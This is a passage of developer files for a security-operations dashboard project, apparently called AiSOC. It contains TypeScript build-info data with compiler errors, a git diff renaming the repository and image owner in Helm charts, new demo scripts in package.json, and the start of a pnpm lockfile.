","impliedFormat":1},{"version":"a3b3a1712610260c7ab96e270aad82bd7b28a53e5776f25a9a538831057ff44c","impliedFormat":1},{"version":"33a2af54111b3888415e1d81a7a803d37fada1ed2f419c427413742de3948ff5","impliedFormat":1},{"version":"d5a4fca3b69f2f740e447efb9565eecdbbe4e13f170b74dd4a829c5c9a5b8ebf","impliedFormat":1},{"version":"56f1e1a0c56efce87b94501a354729d0a0898508197cb50ab3e18322eb822199","impliedFormat":1},{"version":"8960e8c1730aa7efb87fcf1c02886865229fdbf3a8120dd08bb2305d2241bd7e","impliedFormat":1},{"version":"27bf82d1d38ea76a590cbe56873846103958cae2b6f4023dc59dd8282b66a38a","impliedFormat":1},{"version":"0daaab2afb95d5e1b75f87f59ee26f85a5f8d3005a799ac48b38976b9b521e69","impliedFormat":1},{"version":"2c378d9368abcd2eba8c29b294d40909845f68557bc0b38117e4f04fc56e5f9c","impliedFormat":1},{"version":"9b048390bcffe88c023a4cd742a720b41d4cd7df83bc9270e6f2339bf38de278","affectsGlobalScope":true,"impliedFormat":1},{"version":"c60b14c297cc569c648ddaea70bc1540903b7f4da416edd46687e88a543515a1","impliedFormat":1},{"version":"94a802503ca276212549e04e4c6b11c4c14f4fa78722f90f7f0682e8847af434","impliedFormat":1},{"version":"9c0217750253e3bf9c7e3821e51cff04551c00e63258d5e190cf8bd3181d5d4a","impliedFormat":1},{"version":"5c2e7f800b757863f3ddf1a98d7521b8da892a95c1b2eafb48d652a782891677","impliedFormat":1},{"version":"21317aac25f94069dbcaa54492c014574c7e4d680b3b99423510b51c4e36035f","impliedFormat":1},{"version":"c61d8275c35a76cb12c271b5fa8707bb46b1e5778a370fd6037c244c4df6a725","impliedFormat":1},{"version":"c7793cb5cd2bef461059ca340fbcd19d7ddac7ab3dcc6cd1c90432fca260a6ae","impliedFormat":1},{"version":"fd3bf6d545e796ebd31acc33c3b20255a5bc61d963787fc8473035ea1c09d870","impliedFormat":1},{"version":"c7af51101b509721c540c86bb5fc952094404d22e8a18ced30c38a79619916fa","impliedFormat":1},{"version":"59c8f7d68f79c6e3015f8aee218282d47d3f15b85e5defc2d9d1961b6ffed7a0","impliedFormat":1},{"version":"93a2049cbc80c66aa33582ec2648e1df2df59d2b353d6b4a97c9afcbb111ccab","impliedFormat":1},{"version":"d04d359e40db3ae8a8c23d0f096ad3f9f73a9ef980f7cb252a1fdc1e7b3a2fb9","impliedFormat":1},{"version":"84aa4f0c33c729557185805aae6e0df3bd084e311da67a10972bbcf400321ff0","impliedFormat":1},{"version":"cf6cbe50e3f87b2f4fd1f39c0dc746b452d7ce41b48aadfdb724f44da5b6f6ed","impliedFormat":1},{"version":"3cf494506a50b60bf506175dead23f43716a088c031d3aa00f7220b3fbcd56c9","impliedFormat":1},{"version":"f2d47126f1544c40f2b16fc82a66f97a97beac2085053cf89b49730a0e34d231","impliedFormat":1},{"version":"724ac138ba41e752ae562072920ddee03ba69fe4de5dafb812e0a35ef7fb2c7e","impliedFormat":1},{"version":"e4eb3f8a4e2728c3f2c3cb8e6b60cadeb9a189605ee53184d02d265e2820865c","impliedFormat":1},{"version":"f16cb1b503f1a64b371d80a0018949135fbe06fb4c5f78d4f637b17921a49ee8","impliedFormat":1},{"version":"f4808c828723e236a4b35a1415f8f550ff5dec621f81deea79bf3a051a84ffd0","impliedFormat":1},{"version":"3b810aa3410a680b1850ab478d479c2f03ed4318d1e5bf7972b49c4d82bacd8d","impliedFormat":1},{"version":"0ce7166bff5669fcb826bc6b54b246b1cf559837ea9cc87c3414cc70858e6097","impliedFormat":1},{"version":"6ea095c807bc7cc36bc1774bc2a0ef7174bf1c6f7a4f6b499170b802ce214bfe","impliedFormat":1},{"version":"3549400d56ee2625bb5cc51074d3237702f1f9ffa984d61d9a2db2a116786c22","impliedFormat":1},{"version":"5327f9a620d003b202eff5db6be0b44e22079793c9a926e0a7a251b1dbbdd33f","impliedFormat":1},{"version":"b60f6734309d20efb9b0e0c7e6e68282ee451592b9c079dd1a988bb7a5eeb5e7","impliedFormat":1},{"version":"f4187a4e2973251fd9655598aa7e6e8bba879939a73188ee3290bb090cc46b15","impliedFormat":1},{"version":"44c1a26f578277f8ccef3215a4bd642a0a4fbbaf187cf9ae3053591c891fdc9c","impliedFormat":1},{"version":"a5989cd5e1e4ca9b327d2f93f43e7c981f25ee12a81c2ebde85ec7eb30f34213","impliedFormat":1},{"version":"f65b8fa1532dfe0ef2c261d63e72c46fe5f089b28edcd35b3526328d42b412b8","impliedFormat":1},{"version":"1060083aacfc46e7b7b766557bff5dafb99de3128e7bab772240877e5bfe849d","impliedFormat":1},{"version":"d61a3fa4243c8795139e7352694102315f7a6d815ad0aeb29074cfea1eb67e93","impliedFormat":1},{"version":"1f66b80bad5fa29d9597276821375ddf482c84cfb12e8adb718dc893ffce79e0","impliedFormat":1},{"version":"1ed8606c7b3612e15ff2b6541e5a926985cbb4d028813e969c1976b7f4133d73","impliedFormat":1},{"version":"c086ab778e9ba4b8dbb2829f42ef78e2b28204fc1a483e42f54e45d7a96e5737","impliedFormat":1},{"version":"dd0b9b00a39436c1d9f7358be8b1f32571b327c05b5ed0e88cc91f9d6b6bc3c9","impliedFormat":1},{"version":"a951a7b2224a4e48963762f155f5ad44ca1145f23655dde623ae312d8faeb2f2","impliedFormat":1},{"version":"cd960c347c006ace9a821d0a3cffb1d3fbc2518a4630fb3d77fe95f7fd0758b8","impliedFormat":1},{"version":"fe1f3b21a6cc1a6bc37276453bd2ac85910a8bdc16842dc49b711588e89b1b77","impliedFormat":1},{"version":"1a6a21ff41d509ab631dbe1ea14397c518b8551f040e78819f9718ef80f13975","impliedFormat":1},{"version":"0a55c554e9e858e243f714ce25caebb089e5cc7468d5fd022c1e8fa3d8e8173d","impliedFormat":1},{"version":"3a5e0fe9dcd4b1a9af657c487519a3c39b92a67b1b21073ff20e37f7d7852e32","impliedFormat":1},{"version":"977aeb024f773799d20985c6817a4c0db8fed3f601982a52d4093e0c60aba85f","impliedFormat":1},{"version":"d59cf5116848e162c7d3d954694f215b276ad10047c2854ed2ee6d14a481411f","impliedFormat":1},{"version":"50098be78e7cbfc324dfc04983571c80539e55e11a0428f83a090c13c41824a2","impliedFormat":1},{"version":"08e767d9d3a7e704a9ea5f057b0f020fd5880bc63fbb4aa6ffee73be36690014","impliedFormat":1},{"version":"dd6051c7b02af0d521857069c49897adb8595d1f0e94487d53ebc157294ef864","impliedFormat":1},{"version":"79c6a11f75a62151848da39f6098549af0dd13b22206244961048326f451b2a8","impliedFormat":1},"acd1236934745f40cb5af5e0e590de7514eee686bea6df41b10078d7cd5e84f0","ee8d8b74d7f27d02aa72d5f61af597c47bd2e975013fd1f8b9d4c2c7b451aaaf","220e830b856ede9906213e7155827ed36f8398ffe4ba7c5d4112e8e557013e53","18f9129e04866cdcd4d7d5ba7eeccaeb52cab8be21f84f90a5254eac93ee806f","9ea9e5b2fc3b6f86c8dc2d04498252ca4f1205b4d024add6eb65fd2d801f5634",{"version":"2e5c41e56098ae93bc42a15473acb1a176f28b2ba95c38f3c67820434acd85b6","impliedFormat":1},{"version":"b99c4ff8d11110b9699edc4e5c3bb304360a70ca47e4f9851fc42ad0b663ba83","affectsGlobalScope":true,"impliedFormat":1},{"version":"ba340fc8e5b0f08d90c6ef8552b8ce7bb5dc8e18d47b57f90dee105bc77d0d9e","affectsGlobalScope":true,"impliedFormat":1},{"version":"0f263eeea7877199808b1bc220df95b25a72695ec214eb96d740d4b06c7cc868","impliedFormat":1},"5e5e088f1a75c51036d325736458fdf20435cde3f0d27593e08c751a230052e1","b80904a2a32ea9dc43fa71c2125703c7c67c73d4ac493a002b87c5744705949c","9d055775884d3fc1efc9102b6a5c75a5f1fb5a1d7747123b099419d4442ce2bd",{"version":"4ff56bedfbe273c8cc7c439ffd99afcd011402d4ebd5a38bc3604806613def68","impliedFormat":1},"e4c676cb97bfb2ba1cc287068dbb8891dbd5a37e356e604407d3301d7457e6f5","936ea081d286c636bfcde98272cbbe88269aa11f44cbf2b63716e2da55522cd6","5ad9595e084206384a4e3eed5bff43fc2e0bb9aa1224b2b47f5e029cdd580279","81bc33bd81e79c7468f85d72e9343f2785a19204e16c7589c56a3913ccf3f3a9","faa8a2ee9071c6695cfc825f369c2a1116abcbd487991c6d9d838258432b1a2f","eb4d7826764fd2075721278489b3da2862fcc748cf22781403d87fed2fafd585","4da81e1340a6e5ba0dda56e2f14c35c6ef0f36ae49371ae3e6625c1634995c01","37490fb680a1a26739d6fc560cd37e18fcd3dc1654be50e2156819e855c1fe5b"],"root":[107,108,113,436,438,439,[443,451],[459,462],[726,740],[811,815],[820,822],[824,831]],"options":{"allowJs":true,"esModuleInterop":true,"jsx":1,"module":99,"skipLibCheck":true,"strict":true,"target":4},"referencedMap":[[729,1],[727,2],[736,3],[731,4],[738,5],[740,6],[813,7],[821,8],[822,8],[815,9],[825,10],[827,11],[462,12],[829,13],[831,14],[436,15],[449,16],[728,17],[726,17],[730,17],[735,18],[737,19],[460,20],[739,21],[812,22],[811,23],[814,18],[820,24],[824,25],[826,26],[445,27],[444,27],[448,28],[443,29],[439,30],[438,31],[446,27],[447,27],[461,32],[459,33],[450,34],[451,35],[828,36],[830,37],[734,38],[733,38],[732,38],[108,39],[113,40],[107,41],[816,39],[819,42],[385,39],[456,43],[457,44],[453,45],[454,45],[455,45],[452,43],[761,39],[744,46],[762,47],[743,39],[169,48],[170,48],[171,49],[126,50],[172,51],[173,52],[174,53],[121,39],[124,54],[122,39],[123,39],[175,55],[176,56],[177,57],[178,58],[179,59],[180,60],[181,60],[182,61],[183,62],[184,63],[185,64],[127,39],[125,39],[186,65],[187,66],[188,67],[220,68],[189,69],[190,70],[191,71],[192,72],[193,73],[194,74],[195,75],[196,76],[197,77],[198,78],[199,78],[200,79],[201,39],[202,80],[204,81],[203,82],[205,83],[206,84],[207,85],[208,86],[209,87],[210,88],[211,89],[212,90],[213,91],[214,92],[215,93],[216,94],[217,95],[128,39],[129,39],[130,39],[168,96],[218,97],[219,98],[111,39],[225,99],[226,100],[224,43],[222,101],[223,102],[109,39],[112,103],[309,43],[437,39],[458,104],[110,39],[823,39],[556,105],[535,106],[632,39],[536,107],[472,105],[473,39],[474,39],[475,39],[476,39],[477,39],[478,39],[479,39],[480,39],[481,39],[482,39],[483,39],[484,105],[485,105],[486,39],[487,39],[488,39],[489,39],[490,39],[491,39],[492,39],[493,39],[494,39],[496,39],[495,39],[497,39],[498,39],[499,105],[500,39],[501,39],[502,105],[503,39],[504,39],[505,105],[506,39],[507,105],[508,105],[509,105],[510,39],[511,105],[512,105],[513,105],[514,105],[515,105],[517,105],[518,39],[519,39],[516,105],[520,105],[521,39],[522,39],[523,39],[524,39],[525,39],[526,39],[527,39],[528,39],[529,39],[530,39],[531,39],[532,105],[533,39],[534,39],[537,108],[538,105],[539,105],[540,109],[541,110],[542,105],[543,105],[544,105],[545,105],[548,105],[546,39],[547,39],[470,39],[549,39],[550,39],[551,39],[552,39],[553,39],[554,39],[555,39],[557,111],[558,39],[559,39],[560,39],[562,39],[561,39],[563,39],[564,39],[565,39],[566,105],[567,39],[568,39],[569,39],[570,39],[571,105],[572,105],[574,105],[573,105],[575,39],[576,39],[577,39],[578,39],[725,112],[579,105],[580,105],[581,39],[582,39],[583,39],[584,39],[585,39],[586,39],[587,39],[588,39],[589,39],[590,39],[591,39],[592,39],[593,105],[594,39],[595,39],[596,39],[597,39],[598,39],[599,39],[600,39],[601,39],[602,39],[603,39],[604,105],[605,39],[606,39],[607,39],[608,39],[609,39],[610,39],[611,39],[612,39],[613,39],[614,105],[615,39],[616,39],[617,39],[618,39],[619,39],[620,39],[621,39],[622,39],[623,105],[624,39],[625,39],[626,39],[627,39],[628,39],[629,39],[630,105],[631,39],[633,113],[469,105],[634,39],[635,105],[636,39],[637,39],[638,39],[639,39],[640,39],[641,39],[642,39],[643,39],[644,39],[645,105],[646,39],[647,39],[648,39],[649,39],[650,39],[651,39],[652,39],[657,114],[655,115],[656,116],[654,117],[653,105],[658,39],[659,39],[660,105],[661,39],[662,39],[663,39],[664,39],[665,39],[666,39],[667,39],[668,39],[669,39],[670,105],[671,105],[672,39],[673,39],[674,39],[675,105],[676,39],[677,105],[678,39],[679,111],[680,39],[681,39],[682,39],[683,39],[684,39],[685,39],[686,39],[687,39],[688,39],[689,105],[690,105],[691,39],[692,39],[693,39],[694,39],[695,39],[696,39],[697,39],[698,39],[699,39],[700,39],[701,39],[702,39],[703,105],[704,105],[705,39],[706,39],[707,105],[708,39],[709,39],[710,39],[711,39],[712,39],[713,39],[714,39],[715,39],[716,39],[717,39],[718,39],[719,39],[720,105],[471,118],[721,39],[722,39],[723,39],[724,39],[466,39],[442,119],[434,120],[817,39],[818,121],[440,39],[441,39],[120,122],[388,123],[393,124],[395,125],[245,126],[260,127],[358,128],[291,39],[361,129],[325,130],[333,131],[317,132],[359,133],[246,134],[290,39],[292,135],[316,39],[360,136],[267,137],[247,138],[271,137],[261,137],[231,137],[315,139],[236,39],[312,140],[404,141],[310,142],[405,143],[297,39],[313,144],[416,145],[321,146],[415,39],[413,39],[414,147],[314,43],[302,148],[311,149],[328,150],[329,151],[320,39],[298,152],[318,153],[319,146],[408,154],[411,155],[278,156],[277,157],[276,158],[419,43],[275,159],[252,39],[422,39],[432,160],[431,39],[425,39],[424,43],[426,161],[227,39],[353,39],[259,162],[229,163],[376,39],[377,39],[379,39],[382,164],[378,39],[380,165],[381,165],[244,39],[258,39],[387,166],[396,167],[400,168],[240,169],[304,170],[303,39],[324,171],[322,39],[323,39],[327,172],[300,173],[239,174],[265,175],[350,176],[232,177],[238,178],[228,128],[363,179],[374,180],[362,39],[373,181],[266,39],[250,182],[342,183],[341,39],[349,184],[343,185],[347,186],[348,187],[346,185],[345,187],[344,185],[287,188],[272,188],[336,189],[273,189],[234,190],[233,39],[340,191],[339,192],[338,193],[337,194],[235,195],[308,196],[326,197],[307,198],[332,199],[334,200],[331,198],[268,195],[221,39],[351,201],[293,202],[372,203],[296,204],[367,205],[248,39],[368,206],[370,207],[371,208],[366,39],[365,177],[269,209],[352,210],[375,211],[241,39],[243,39],[249,212],[335,213],[237,214],[242,39],[295,215],[294,216],[251,217],[301,218],[299,219],[253,220],[255,221],[423,39],[254,222],[256,223],[390,39],[391,39],[389,39],[392,39],[421,39],[257,224],[306,43],[119,39],[330,225],[279,39],[289,226],[398,43],[407,227],[286,43],[402,146],[285,228],[384,229],[284,227],[230,39],[409,230],[282,43],[283,43],[274,39],[288,39],[281,231],[280,232],[270,233],[264,234],[369,39],[263,235],[262,39],[394,39],[305,43],[386,236],[114,39],[118,237],[115,43],[116,39],[117,39],[364,238],[357,239],[356,39],[355,240],[354,39],[397,241],[399,242],[401,243],[433,244],[403,245],[406,246],[410,247],[430,248],[412,249],[417,250],[418,251],[420,252],[427,253],[429,39],[428,254],[383,255],[99,256],[97,257],[98,258],[86,259],[87,257],[94,260],[85,261],[90,262],[100,39],[91,263],[96,264],[102,265],[101,266],[84,267],[92,268],[93,269],[88,270],[95,256],[89,271],[435,272],[784,273],[786,274],[776,275],[781,276],[782,277],[788,278],[783,279],[780,280],[779,281],[778,282],[789,283],[746,276],[747,276],[787,276],[792,284],[802,285],[796,285],[804,285],[808,285],[794,286],[795,285],[797,285],[800,285],[803,285],[799,287],[801,285],[805,43],[798,276],[793,288],[755,43],[759,43],[749,276],[752,43],[757,276],[758,289],[751,290],[754,43],[756,43],[753,291],[742,43],[741,43],[810,292],[807,293],[773,294],[772,276],[770,43],[771,276],[774,295],[775,296],[768,43],[764,297],[767,276],[766,276],[765,276],[760,276],[769,297],[806,276],[785,298],[791,299],[790,300],[809,39],[777,39],[750,39],[748,301],[83,39],[465,39],[463,39],[467,302],[464,303],[468,304],[105,305],[104,39],[103,39],[106,306],[81,39],[82,39],[13,39],[14,39],[16,39],[15,39],[2,39],[17,39],[18,39],[19,39],[20,39],[21,39],[22,39],[23,39],[24,39],[3,39],[25,39],[26,39],[4,39],[27,39],[31,39],[28,39],[29,39],[30,39],[32,39],[33,39],[34,39],[5,39],[35,39],[36,39],[37,39],[38,39],[6,39],[42,39],[39,39],[40,39],[41,39],[43,39],[7,39],[44,39],[49,39],[50,39],[45,39],[46,39],[47,39],[48,39],[8,39],[54,39],[51,39],[52,39],[53,39],[55,39],[9,39],[56,39],[57,39],[58,39],[60,39],[59,39],[61,39],[62,39],[10,39],[63,39],[64,39],[65,39],[11,39],[66,39],[67,39],[68,39],[69,39],[70,39],[1,39],[71,39],[72,39],[12,39],[76,39],[74,39],[79,39],[78,39],[73,39],[77,39],[75,39],[80,39],[146,307],[156,308],[145,307],[166,309],[137,310],[136,311],[165,254],[159,312],[164,313],[139,314],[153,315],[138,316],[162,317],[134,318],[133,254],[163,319],[135,320],[140,321],[141,39],[144,321],[131,39],[167,322],[157,323],[148,324],[149,325],[151,326],[147,327],[150,328],[160,254],[142,329],[143,330],[152,331],[132,332],[155,323],[154,321],[158,39],[161,333],[745,334],[763,335]],"semanticDiagnosticsPerFile":[[730,[{"start":2612,"length":23,"code":7053,"category":1,"messageText":{"messageText":"Element implicitly has an 'any' type because expression of type 'CaseStatus' can't be used to index type '{ open: { label: string; className: string; dot: string; }; in_progress: { label: string; className: string; dot: string; }; resolved: { label: string; className: string; dot: string; }; closed: { label: string; className: string; dot: string; }; }'.","category":1,"code":7053,"next":[{"messageText":"Property 'pending' does not exist on type '{ open: { label: string; className: string; dot: string; }; in_progress: { label: string; className: string; dot: string; }; resolved: { label: string; className: string; dot: string; }; closed: { label: string; className: string; dot: string; }; }'.","category":1,"code":2339}]}},{"start":5380,"length":12,"code":2769,"category":1,"messageText":{"messageText":"No overload matches this call.","category":1,"code":2769,"next":[{"messageText":"Overload 1 of 12, '(key: [string, FilterStatus, CaseSeverity | \"all\"], fetcher: ((arg: [string, FilterStatus, CaseSeverity | \"all\"]) => FetcherResponse<...>) | null, config: SWRConfiguration<...> | undefined): SWRResponse<...>', gave the following error.","category":1,"code":2772,"next":[{"messageText":"Type '{ cases: Case[]; total: number; }' is not assignable to type 'CasesResponse | Promise<CasesResponse> | undefined'.","category":1,"code":2322,"next":[{"messageText":"Type '{ cases: Case[]; total: number; }' is missing the following properties from type 'CasesResponse': page, pageSize","category":1,"code":2739,"canonicalHead":{"code":2322,"messageText":"Type '{ cases: Case[]; total: number; }' is not assignable to type 'CasesResponse'."}}]}]},{"messageText":"Overload 2 of 12, '(key: Key, fetcher: BareFetcher<CasesResponse> | null, config: SWRConfiguration<CasesResponse, any, BareFetcher<CasesResponse>> | undefined): SWRResponse<...>', gave the following error.","category":1,"code":2772,"next":[{"messageText":"Type '{ cases: Case[]; total: number; }' is not assignable to type 'CasesResponse | Promise<CasesResponse> | undefined'.","category":1,"code":2322,"next":[{"messageText":"Type '{ cases: Case[]; total: number; }' is missing the following properties from type 'CasesResponse': page, pageSize","category":1,"code":2739,"canonicalHead":{"code":2322,"messageText":"Type '{ cases: Case[]; total: number; }' is not assignable to type 'CasesResponse'."}}]}]}]},"relatedInformation":[]}]],[737,[{"start":3011,"length":31,"code":7053,"category":1,"messageText":{"messageText":"Element implicitly has an 'any' type because expression of type 'ConnectorStatus' can't be used to index type '{ active: { label: string; color: string; dot: string; }; inactive: { label: string; color: string; dot: string; }; error: { label: string; color: string; dot: string; }; }'.","category":1,"code":7053,"next":[{"messageText":"Property 'configuring' does not exist on type '{ active: { label: string; color: string; dot: string; }; inactive: { label: string; color: string; dot: string; }; error: { label: string; color: string; dot: string; }; }'.","category":1,"code":2339}]}},{"start":4239,"length":20,"messageText":"'connector.alertCount' is possibly 'undefined'.","category":1,"code":18048},{"start":4489,"length":18,"code":2345,"category":1,"messageText":{"messageText":"Argument of type 'string | undefined' is not assignable to parameter of type 'string'.","category":1,"code":2345,"next":[{"messageText":"Type 'undefined' is not assignable to type 'string'.","category":1,"code":2322}]}},{"start":6165,"length":12,"messageText":"'c.alertCount' is possibly 'undefined'.","category":1,"code":18048}]],[814,[{"start":957,"length":12,"messageText":"Block-scoped variable 'SAMPLE_SIGMA' used before its declaration.","category":1,"code":2448,"relatedInformation":[{"start":15178,"length":12,"messageText":"'SAMPLE_SIGMA' is declared here.","category":3,"code":2728}]},{"start":957,"length":12,"messageText":"Variable 'SAMPLE_SIGMA' is used before being assigned.","category":1,"code":2454},{"start":1439,"length":10,"messageText":"Block-scoped variable 'SAMPLE_KQL' used before its declaration.","category":1,"code":2448,"relatedInformation":[{"start":15602,"length":10,"messageText":"'SAMPLE_KQL' is declared here.","category":3,"code":2728}]},{"start":1439,"length":10,"messageText":"Variable 'SAMPLE_KQL' is used before being assigned.","category":1,"code":2454},{"start":1908,"length":10,"messageText":"Block-scoped variable 'SAMPLE_EQL' used before its declaration.","category":1,"code":2448,"relatedInformation":[{"start":16239,"length":10,"messageText":"'SAMPLE_EQL' is declared here.","category":3,"code":2728}]},{"start":1908,"length":10,"messageText":"Variable 'SAMPLE_EQL' is used before being assigned.","category":1,"code":2454}]],[820,[{"start":22505,"length":6,"messageText":"Function lacks ending return statement and return type does not include 'undefined'.","category":1,"code":2366}]],[824,[{"start":714,"length":17,"code":7016,"category":1,"messageText":{"messageText":"Could not find a declaration file for module 'cytoscape-fcose'. '/Users/beenu/Desktop/AiSOC/node_modules/.pnpm/[email protected][email protected]/node_modules/cytoscape-fcose/cytoscape-fcose.js' implicitly has an 'any' type.","category":1,"code":7016,"next":[{"info":{"moduleReference":"cytoscape-fcose","mode":99}}]}}]],[830,[{"start":5679,"length":11,"messageText":"'result.tags' is possibly 'undefined'.","category":1,"code":18048},{"start":6825,"length":29,"code":7053,"category":1,"messageText":{"messageText":"Element implicitly has an 'any' type because expression of type 'AlertSeverity' can't be used to index type '{ critical: string; high: string; medium: string; low: string; }'.","category":1,"code":7053,"next":[{"messageText":"Property 'info' does not exist on type '{ critical: string; high: string; medium: string; low: string; }'.","category":1,"code":2339}]}},{"start":7407,"length":12,"code":2769,"category":1,"messageText":{"messageText":"No overload matches this call.","category":1,"code":2769,"next":[{"messageText":"Overload 1 of 4, '(value: string | number | Date): Date', gave the following error.","category":1,"code":2772,"next":[{"messageText":"Argument of type 'string | undefined' is not assignable to parameter of type 'string | number | Date'.","category":1,"code":2345,"next":[{"messageText":"Type 'undefined' is not assignable to type 'string | number | Date'.","category":1,"code":2322}]}]},{"messageText":"Overload 2 of 4, '(value: string | number): Date', gave the following error.","category":1,"code":2772,"next":[{"messageText":"Argument of type 'string | undefined' is not assignable to parameter of type 'string | number'.","category":1,"code":2345,"next":[{"messageText":"Type 'undefined' is not assignable to type 'string | number'.","category":1,"code":2322}]}]}]},"relatedInformation":[]},{"start":8216,"length":15,"messageText":"'ioc.description' is possibly 'undefined'.","category":1,"code":18048}]]],"affectedFilesPendingEmit":[729,727,736,731,738,740,813,821,822,815,825,827,462,829,831,436,449,728,726,730,735,737,460,739,812,811,814,820,824,826,445,444,448,443,439,438,446,447,461,459,450,451,828,830,734,733,732,108,113,107],"version":"5.9.3"}\ No newline at end of filediff --git a/infra/helm/aisoc/Chart.yaml b/infra/helm/aisoc/Chart.yamlindex 8e3bbddd1..8400d1f92 100644--- a/infra/helm/aisoc/Chart.yaml+++ b/infra/helm/aisoc/Chart.yaml@@ -12,9 +12,9 @@ keywords:- siem- soar-home: https://github.com/cyble/aisoc+home: https://github.com/beenuar/AiSOCsources:- - https://github.com/cyble/aisoc+ - https://github.com/beenuar/AiSOCmaintainers:- name: Cyblediff --git a/infra/helm/aisoc/values.yaml b/infra/helm/aisoc/values.yamlindex e057a143b..9ff900f31 100644--- a/infra/helm/aisoc/values.yaml+++ b/infra/helm/aisoc/values.yaml@@ -13,7 +13,7 @@ coreApi:enabled: truereplicaCount: 2image:- repository: ghcr.io/cyble/aisoc-core-api+ repository: ghcr.io/beenuar/aisoc-core-apitag: "latest"pullPolicy: IfNotPresentservice:@@ -44,7 +44,7 @@ ingest:enabled: truereplicaCount: 3image:- repository: ghcr.io/cyble/aisoc-ingest+ repository: ghcr.io/beenuar/aisoc-ingesttag: "latest"pullPolicy: IfNotPresentresources:@@ -66,7 +66,7 @@ enrichment:enabled: truereplicaCount: 2image:- repository: ghcr.io/cyble/aisoc-enrichment+ repository: ghcr.io/beenuar/aisoc-enrichmenttag: "latest"pullPolicy: IfNotPresentresources:@@ -83,7 +83,7 @@ alertFusion:enabled: truereplicaCount: 2image:- repository: ghcr.io/cyble/aisoc-alert-fusion+ repository: ghcr.io/beenuar/aisoc-alert-fusiontag: "latest"pullPolicy: IfNotPresentresources:@@ -100,7 +100,7 @@ agents:enabled: truereplicaCount: 2image:- repository: ghcr.io/cyble/aisoc-agents+ repository: ghcr.io/beenuar/aisoc-agentstag: "latest"pullPolicy: IfNotPresentresources:@@ -117,7 +117,7 @@ actions:enabled: truereplicaCount: 2image:- repository: ghcr.io/cyble/aisoc-actions+ repository: ghcr.io/beenuar/aisoc-actionstag: "latest"pullPolicy: IfNotPresentresources:@@ -134,7 +134,7 @@ realtime:enabled: truereplicaCount: 2image:- repository: ghcr.io/cyble/aisoc-realtime+ repository: ghcr.io/beenuar/aisoc-realtimetag: "latest"pullPolicy: IfNotPresentservice:@@ -147,7 +147,7 @@ web:enabled: truereplicaCount: 2image:- repository: ghcr.io/cyble/aisoc-web+ repository: ghcr.io/beenuar/aisoc-webtag: "latest"pullPolicy: IfNotPresentservice:diff --git a/package.json b/package.jsonindex 88eb664e9..115fa159d 100644--- a/package.json+++ b/package.json@@ -20,7 +20,10 @@"infra:plan": "cd infra/terraform && terraform plan","infra:apply": "cd infra/terraform && terraform apply","docker:dev": "docker compose -f docker-compose.dev.yml up -d",- "docker:down": "docker compose -f docker-compose.dev.yml down"+ "docker:down": "docker compose -f docker-compose.dev.yml down",+ "seed:demo": "docker compose -f docker-compose.dev.yml exec api python -m app.scripts.seed_demo",+ "demo:produce": "go run ./services/demo-producer",+ "demo:produce:fast": "go run ./services/demo-producer --rate 8 --batch 10"},"devDependencies": {"@types/node": "^20.11.0",diff --git a/pnpm-lock.yaml b/pnpm-lock.yamlnew file mode 100644index 000000000..efe84e795--- /dev/null+++ b/pnpm-lock.yaml@@ -0,0 +1,4832 @@+lockfileVersion: '6.0'++settings:+ autoInstallPeers: true+ excludeLinksFromLockfile: false++importers:++ .:+ devDependencies:+ '@types/node':+ specifier: ^20.11.0+ version: 20.19.39+ prettier:+ specifier: ^3.2.4+ version: 3.8.3+ turbo:+ specifier: ^1.12.4+ version: 1.13.4+ typescript:+ specifier: ^5.3.3+ version: 5.9.3++ apps/web:+ dependencies:+ '@aisoc/types':+ specifier: workspace:*+ version: link:../../packages/types+ '@aisoc/ui':+ specifier: workspace:*+ version: link:../../packages/ui+ '@monaco-editor/react':+ specifier: ^4.6.0+ clsx:+ specifier: ^2.1.0+ version: 2.1.1+ cmdk:+ specifier: ^0.2.1+ cytoscape:+ specifier: ^3.28.1+ version: 3.33.3+ cytoscape-fcose:+ specifier: ^2.2.0+ version: 2.2.0([email protected])+ date-fns:+ specifier: ^3.3.1+ version: 3.6.0+ framer-motion:+ specifier: ^11.0.8+ version: 11.18.2([email protected])([email protected])+ lucide-react:+ specifier: ^0.312.0+ version: 0.312.0([email protected])+ next:+ specifier: 14.1.0+ version: 14.1.0([email protected])([email protected])+ react:+ specifier: ^18.2.0+ version: 18.3.1+ react-dom:+ specifier: ^18.2.0+ version: 18.3.1([email protected])+ react-hot-toast:+ specifier: ^2.4.1+ version: 2.6.0([email protected])([email protected])+ recharts:+ specifier: ^2.10.3+ version: 2.15.4([email protected])([email protected])+ swr:+ specifier: ^2.2.4+ version: 2.4.1([email protected])+ zustand:+ specifier: ^4.4.7+ version: 4.5.7(@types/[email protected])([email protected])+ devDependencies:+ '@types/cytoscape':+ specifier: ^3.21.0+ version: 3.31.0+ '@types/node':+ specifier: ^20.10.0+ version: 20.19.39+ '@types/react':+ specifier: ^18.2.0+ version: 18.3.28+ '@types/react-dom':+ specifier: ^18.2.0+ version: 18.3.7(@types/[email protected])+ autoprefixer:+ specifier: ^10.4.17+ version: 10.5.0([email protected])+ eslint:+ specifier: ^8.56.0+ version: 8.57.1+ eslint-config-next:+ specifier: 14.1.0+ version: 14.1.0([email protected])([email protected])+ postcss:+ specifier: ^8.4.33+ version: 8.5.13+ tailwindcss:+ specifier: ^3.4.1+ version: 3.4.19+ typescript:+ specifier: ^5.3.3+ version: 5.9.3++ packages/ocsf:+ devDependencies:+ typescript:+ specifier: ^5.3.3+ version: 5.9.3++ packages/types:+ devDependencies:+ tsup:+ specifier: ^8.0.1+ version: 8.5.1([email protected])+ typescript:+ specifier: ^5.3.3+ version: 5.9.3++ packages/ui:+ dependencies:+ clsx:+ specifier: ^2.1.0+ version: 2.1.1+ lucide-react:+ specifier: ^0.312.0+ version: 0.312.0([email protected])+ devDependencies:+ '@types/react':+ specifier: ^18.2.0+ version: 18.3.28+ '@types/react-dom':+ specifier: ^18.2.0+ version: 18.3.7(@types/[email protected])+ react:+ specifier: ^18.2.0+ version: 18.3.1+ react-dom:+ specifier: ^18.2.0+ version: 18.3.1([email protected])+ typescript:+ specifier: ^5.3.3+ version: 5.9.3++packages:++ /@alloc/[email protected]:+ resolution: {integrity: sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==}+ engines: {node: '>=10'}+ dev: true++ /@babel/[email protected]:+ resolution: {integrity: sha512-JiDShH45zKHWyGe4ZNVRrCjBz8Nh9TMmZG1kh4QTK8hCBTWBi8Da+i7s1fJw7/lYpM4ccepSNfqzZ/QvABBi5g==}+ engines: {node: '>=6.9.0'}+ dev: false++ /@emnapi/[email protected]:+ 